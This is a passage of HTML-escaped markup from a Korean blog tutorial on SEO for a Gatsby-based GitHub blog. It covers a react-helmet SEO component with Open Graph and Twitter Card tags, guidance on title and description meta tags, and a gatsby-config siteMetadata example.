module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;gatsby-plugin-react-helmet&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// ... 기존 플러그인들&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;SEO 컴포넌트 기본 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/components/SEO.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; React &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Helmet &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react-helmet&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; useStaticQuery&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; graphql &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;gatsby&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;SEO&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; title&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; description&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; image&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; article &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; site &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useStaticQuery&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;graphql&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;
    query {
      site {
        siteMetadata {
          defaultTitle: title
          defaultDescription: description
          siteUrl
          defaultImage: image
        }
      }
    }
  &lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; defaultTitle&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; defaultDescription&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; siteUrl&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; defaultImage &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;
    site&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;siteMetadata

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; seo &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; title &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; defaultTitle&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; description &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; defaultDescription&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;siteUrl&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;image &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; defaultImage&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;siteUrl&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;url &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Helmet&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;description&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;image&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;image&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;

      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;/* Open Graph */&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:title&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:description&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:image&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;image&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:url&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;property&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;og:type&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;article &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;article&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;website&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;

      &lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;/* Twitter Card */&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;twitter:card&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;summary_large_image&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;twitter:title&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;title&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;twitter:description&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;description&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;twitter:image&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token script language-javascript&quot;&gt;&lt;span class=&quot;token script-punctuation punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;seo&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;image&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token plain-text&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Helmet&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;SEO&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 컴포넌트를 각 페이지나 템플릿에서 불러와 사용하면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;메타태그 최적화 — title, description, keywords&lt;/h2&gt;
&lt;p&gt;메타태그는 검색 엔진이 페이지의 내용을 파악하는 핵심 정보입니다.&lt;/p&gt;
&lt;h3&gt;title 태그 작성법&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;60자 이내로 작성합니다&lt;/li&gt;
&lt;li&gt;핵심 키워드를 앞쪽에 배치합니다&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;페이지 제목 | 사이트명&lt;/code&gt; 형식이 일반적입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;GitHub 블로그 SEO 최적화 가이드 | AI JAVAPARK&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;description 메타태그&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;150자 내외로 작성합니다&lt;/li&gt;
&lt;li&gt;페이지 내용을 요약하되, 클릭을 유도하는 문장으로 구성합니다&lt;/li&gt;
&lt;li&gt;검색 결과에서 제목 아래에 표시되는 텍스트입니다&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;meta&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;description&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;메타태그, sitemap, Open Graph 설정까지 — Gatsby 기반 GitHub 블로그의 검색 노출을 높이는 실전 SEO 가이드입니다.&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;gatsby-config.js의 siteMetadata 활용&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// gatsby-config.js&lt;/span&gt;
module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token literal-property property&quot;&gt;siteMetadata&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;AI JAVAPARK&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;AI와 개발 이야기를 나누는 블로그&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;siteUrl&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;https://blog.javapark.kr&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/og-default.png&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
